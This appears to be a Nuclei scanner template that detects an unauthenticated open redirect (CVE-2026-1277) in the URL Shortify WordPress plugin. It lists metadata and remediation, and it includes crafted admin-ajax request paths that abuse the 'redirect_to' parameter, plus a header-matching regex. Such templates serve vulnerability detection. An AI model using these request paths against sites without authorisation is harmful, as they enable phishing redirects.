id: CVE-2026-1277

info:
  name: URL Shortify <= 1.12.1 - Open Redirect
  author: Shivam Kamboj
  severity: medium
  description: |
    The URL Shortify plugin for WordPress is vulnerable to Open Redirect in all versions up to, and including, 1.12.1 due to insufficient validation on the 'redirect_to' parameter in the promotional dismissal handler. This makes it possible for unauthenticated attackers to redirect users to potentially malicious sites via a crafted link.
  impact: |
    Unauthenticated attackers can redirect users to malicious sites, facilitating phishing or malware distribution.
  remediation: |
    Update to the latest version beyond 1.12.1.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/url-shortify/url-shortify-1121-unauthenticated-open-redirect-via-redirect-to-parameter
    - https://nvd.nist.gov/vuln/detail/CVE-2026-1277
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N
    cvss-score: 4.7
    cve-id: CVE-2026-1277
    epss-score: 0.00592
    epss-percentile: 0.44783
    cwe-id: CWE-601
  metadata:
    verified: true
    max-request: 2
    publicwww-query: "/plugins/url-shortify/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,redirect,url-shortify,unauth,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=heartbeat&kc_us_dismiss_admin_notice=1&option_name=bfcm_2025_offer&redirect_to=https://interact.sh"
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=heartbeat&kc_us_dismiss_admin_notice=1&option_name=welcome_offer&redirect_to=https://interact.sh"

    stop-at-first-match: true

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$'
# digest: 4a0a00473045022100861ddaa6aaf759fe0c83d5b180023db3262ba66eb48452a97a4bcb5783e76c0f02207e8228ebd32f2cd5358760e4fa8100f69c8abc024312069764e10c4c1708e167:922c64590222798bb761d5b6d8e72950